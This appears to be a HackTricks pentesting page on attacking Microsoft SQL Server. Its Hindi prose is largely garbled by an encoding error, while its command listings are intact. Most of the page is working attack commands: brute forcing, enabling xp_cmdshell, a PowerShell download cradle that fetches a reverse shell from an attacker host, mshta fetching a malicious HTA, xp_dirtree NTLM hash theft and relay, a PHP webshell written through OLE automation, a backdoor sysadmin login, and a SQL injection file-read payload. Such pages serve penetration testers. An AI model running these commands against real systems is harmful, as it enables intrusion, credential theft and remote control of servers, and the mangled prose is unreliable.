.. | ||
README.md | ||
types-of-mssql-users.md |
1433 - Pentesting MSSQL - Microsoft SQL Server
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
From wikipedia:
Microsoft SQL Server рдПрдХ рд╕рдВрдмрдВрдзрд┐рдд рдбреЗрдЯрд╛рдмреЗрд╕ рдкреНрд░рдмрдВрдзрди рдкреНрд░рдгрд╛рд▓реА рд╣реИ рдЬрд┐рд╕реЗ Microsoft рджреНрд╡рд╛рд░рд╛ рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рд░реНрд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ, рдпрд╣ рдПрдХ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЙрддреНрдкрд╛рдж рд╣реИ рдЬрд┐рд╕рдХрд╛ рдкреНрд░рд╛рдердорд┐рдХ рдХрд╛рд░реНрдп рдбреЗрдЯрд╛ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдирд╛ рдФрд░ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реИ рдЬреИрд╕рд╛ рдХрд┐ рдЕрдиреНрдп рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИтАФрдЬреЛ рдпрд╛ рддреЛ рдЙрд╕реА рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдЪрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдиреЗрдЯрд╡рд░реНрдХ (рдЬрд┐рд╕рдореЗрдВ рдЗрдВрдЯрд░рдиреЗрдЯ рд╢рд╛рдорд┐рд▓ рд╣реИ) рдкрд░ рдХрд┐рд╕реА рдЕрдиреНрдп рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ред\
Default port: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
рдбрд┐рдлрд╝реЙрд▓реНрдЯ MS-SQL рд╕рд┐рд╕реНрдЯрдо рдЯреЗрдмрд▓реНрд╕
- master Database: рдпрд╣ рдбреЗрдЯрд╛рдмреЗрд╕ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ SQL Server рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рд╕рднреА рд╕рд┐рд╕реНрдЯрдо-рд╕реНрддрд░реАрдп рд╡рд┐рд╡рд░рдг рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИред
- msdb Database: SQL Server рдПрдЬреЗрдВрдЯ рдЗрд╕ рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрд▓рд░реНрдЯ рдФрд░ рдиреМрдХрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╢реЗрдбреНрдпреВрд▓рд┐рдВрдЧ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИред
- model Database: SQL Server рдЙрджрд╛рд╣рд░рдг рдкрд░ рд╣рд░ рдирдП рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдмреНрд▓реВрдкреНрд░рд┐рдВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ рдЖрдХрд╛рд░, рдХреЛрд▓реЗрд╢рди, рд░рд┐рдХрд╡рд░реА рдореЙрдбрд▓, рдФрд░ рдЕрдзрд┐рдХ рдЬреИрд╕реЗ рдХрд┐рд╕реА рднреА рдкрд░рд┐рд╡рд░реНрддрди рдХреЛ рдирдП рдмрдирд╛рдП рдЧрдП рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
- Resource Database: рдПрдХ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рд╣реИ рдЬреЛ SQL Server рдХреЗ рд╕рд╛рде рдЖрдиреЗ рд╡рд╛рд▓реЗ рд╕рд┐рд╕реНрдЯрдо рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рд░рдЦрддрд╛ рд╣реИред рдпреЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕, рдЬрдмрдХрд┐ рднреМрддрд┐рдХ рд░реВрдк рд╕реЗ Resource рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ, рд╣рд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ sys рд╕реНрдХреАрдорд╛ рдореЗрдВ рддрд╛рд░реНрдХрд┐рдХ рд░реВрдк рд╕реЗ рдкреНрд░рд╕реНрддреБрдд рд╣реЛрддреЗ рд╣реИрдВред
- tempdb Database: рдЕрд╕реНрдерд╛рдпреА рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдпрд╛ рдордзреНрдпрд╡рд░реНрддреА рдкрд░рд┐рдгрд╛рдо рд╕реЗрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрд╕реНрдерд╛рдпреА рд╕рдВрдЧреНрд░рд╣рдг рдХреНрд╖реЗрддреНрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред
Enumeration
Automatic Enumeration
рдпрджрд┐ рдЖрдк рд╕реЗрд╡рд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдирд╣реАрдВ рдЬрд╛рдирддреЗ рд╣реИрдВ:
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
{% hint style="info" %} рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд╣реАрдВ рд╣реИрдВ рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк nmap рдпрд╛ metasploit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ, рдпрджрд┐ рдЖрдк рдПрдХ рдореМрдЬреВрджрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдИ рдмрд╛рд░ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЦрд╛рддреЛрдВ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред {% endhint %}
Metasploit (рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛)
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump
#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf
#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
Brute force
рдореИрдиреБрдЕрд▓ рдПрдиреНрдпреВрдорд░реЗрд╢рди
рд▓реЙрдЧрд┐рди
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
рд╕рд╛рдорд╛рдиреНрдп рд╕реВрдЪреАрдХрд░рдг
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master
#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
#Enumerate links
enum_links
#Use a link
use_link [NAME]
рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
{% content-ref url="types-of-mssql-users.md" %} types-of-mssql-users.md {% endcontent-ref %}
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;
## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
- Securable: SQL Server рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдБрдЪ рдирд┐рдпрдВрддреНрд░рдг рдХреЗ рд▓рд┐рдП рдкреНрд░рдмрдВрдзрд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рддред рдЗрдиреНрд╣реЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢реНрд░реЗрдгрд┐рдпреЛрдВ рдореЗрдВ рд╡рд░реНрдЧреАрдХреГрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:
- рд╕рд░реНрд╡рд░ тАУ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдбреЗрдЯрд╛рдмреЗрд╕, рд▓реЙрдЧрд┐рди, рдПрдВрдбрдкреЙрдЗрдВрдЯ, рдЙрдкрд▓рдмреНрдзрддрд╛ рд╕рдореВрд╣, рдФрд░ рд╕рд░реНрд╡рд░ рднреВрдорд┐рдХрд╛рдПрдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред
- рдбреЗрдЯрд╛рдмреЗрд╕ тАУ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдбреЗрдЯрд╛рдмреЗрд╕ рднреВрдорд┐рдХрд╛, рдЕрдиреБрдкреНрд░рдпреЛрдЧ рднреВрдорд┐рдХрд╛рдПрдБ, рд╕реНрдХреАрдорд╛, рдкреНрд░рдорд╛рдгрдкрддреНрд░, рдкреВрд░реНрдг рдкрд╛рда рдХреИрдЯрд▓реЙрдЧ, рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред
- рд╕реНрдХреАрдорд╛ тАУ рдЗрд╕рдореЗрдВ рддрд╛рд▓рд┐рдХрд╛рдПрдБ, рджреГрд╢реНрдп, рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ, рдХрд╛рд░реНрдп, рдкрд░реНрдпрд╛рдпрд╡рд╛рдЪреА, рдЖрджрд┐ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред
- рдЕрдиреБрдорддрд┐: SQL Server securables рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд, ALTER, CONTROL, рдФрд░ CREATE рдЬреИрд╕реА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдПрдХ рдкреНрд░рдореБрдЦ рдХреЛ рджреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рджреЛ рд╕реНрддрд░реЛрдВ рдкрд░ рд╣реЛрддрд╛ рд╣реИ:
- рд╕рд░реНрд╡рд░ рд╕реНрддрд░ рд▓реЙрдЧрд┐рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ
- рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реНрддрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ
- рдкреНрд░рдореБрдЦ: рдпрд╣ рд╢рдмреНрдж рдЙрд╕ рдЗрдХрд╛рдИ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдПрдХ securable рдкрд░ рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рддреА рд╣реИред рдкреНрд░рдореБрдЦ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд▓реЙрдЧрд┐рди рдФрд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред Securables рддрдХ рдкрд╣реБрдБрдЪ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рджреЗрдиреЗ рдпрд╛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдпрд╛ рд▓реЙрдЧрд┐рди рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рд╕реЗ рд╕реБрд╕рдЬреНрдЬрд┐рдд рднреВрдорд┐рдХрд╛рдУрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
Tricks
OS рдХрдорд╛рдВрдб рдЪрд▓рд╛рдирд╛
{% hint style="danger" %}
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ xp_cmdshell
рд╕рдХреНрд░рд┐рдп рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ, рдмрд▓реНрдХрд┐ xp_cmdshell
рд╕реНрдЯреЛрд░ рдХреА рдЧрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ EXECUTE рдЕрдиреБрдорддрд┐ рднреА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред рдЖрдк рдпрд╣ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди (sysadmins рдХреЛ рдЫреЛрдбрд╝рдХрд░) xp_cmdshell
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
Use master
EXEC sp_helprotect 'xp_cmdshell'
{% endhint %}
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' тАФ
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
NetNTLM рд╣реИрд╢ рдЪреБрд░рд╛рдирд╛ / рд░рд┐рд▓реЗ рд╣рдорд▓рд╛
рдЖрдкрдХреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╣реИрд╢ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ SMB рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП (impacket-smbserver
рдпрд╛ responder
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП)ред
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
{% hint style="warning" %} рдЖрдк рдпрд╣ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди (sysadmins рдХреЗ рдЕрд▓рд╛рд╡рд╛) рдЙрди MSSQL рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд░рдЦрддрд╛ рд╣реИ:
Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
{% endhint %}
responder рдпрд╛ Inveigh рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ NetNTLM рд╣реИрд╢ рдХреЛ рдЪреБрд░рд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИред
рдЖрдк рдЗрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ, рдпрд╣ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}
MSSQL рдЯреНрд░рд╕реНрдЯреЗрдб рд▓рд┐рдВрдХ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ
рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреЛ рдкрдврд╝реЗрдВ рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ, рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП:
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} abusing-ad-mssql.md {% endcontent-ref %}
рдлрд╛рдЗрд▓реЗрдВ рд▓рд┐рдЦреЗрдВ
MSSQL
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд╛рдЗрд▓реЗрдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ Ole Automation Procedures рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдФрд░ рдлрд┐рд░ рдлрд╛рдЗрд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╕реНрдЯреЛрд░ рдХреА рдЧрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛:
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
рдлрд╛рдЗрд▓ рдкрдврд╝реЗрдВ OPENROWSET рдХреЗ рд╕рд╛рде
рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, MSSQL
рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдкрд░ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЦрд╛рддреЗ рдХреЛ рдкрдврд╝рдиреЗ рдХреА рдкрд╣реБрдВрдЪ рд╣реИред рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд SQL рдХреНрд╡реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
рд╣рд╛рд▓рд╛рдВрдХрд┐, BULK
рд╡рд┐рдХрд▓реНрдк рдХреЗ рд▓рд┐рдП ADMINISTER BULK OPERATIONS
рдпрд╛ ADMINISTER DATABASE BULK OPERATIONS
рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
SQLi рдХреЗ рд▓рд┐рдП рддреНрд░реБрдЯрд┐-рдЖрдзрд╛рд░рд┐рдд рд╡реЗрдХреНрдЯрд░:
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
RCE/рдлрд╛рдЗрд▓реЗрдВ рдкрдврд╝рдирд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдирд╛ (Python рдФрд░ R)
MSSQL рдЖрдкрдХреЛ Python рдФрд░/рдпрд╛ R рдореЗрдВ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред рдпреЗ рдХреЛрдб xp_cmdshell рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓реЗ рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдП рдЬрд╛рдПрдВрдЧреЗред
Example trying to execute a 'R' "Hellow World!" рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛:
Example using configured python to perform several actions:
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
рд░рдЬрд┐рд╕реНрдЯреНрд░реНрд░реА рдкрдврд╝реЗрдВ
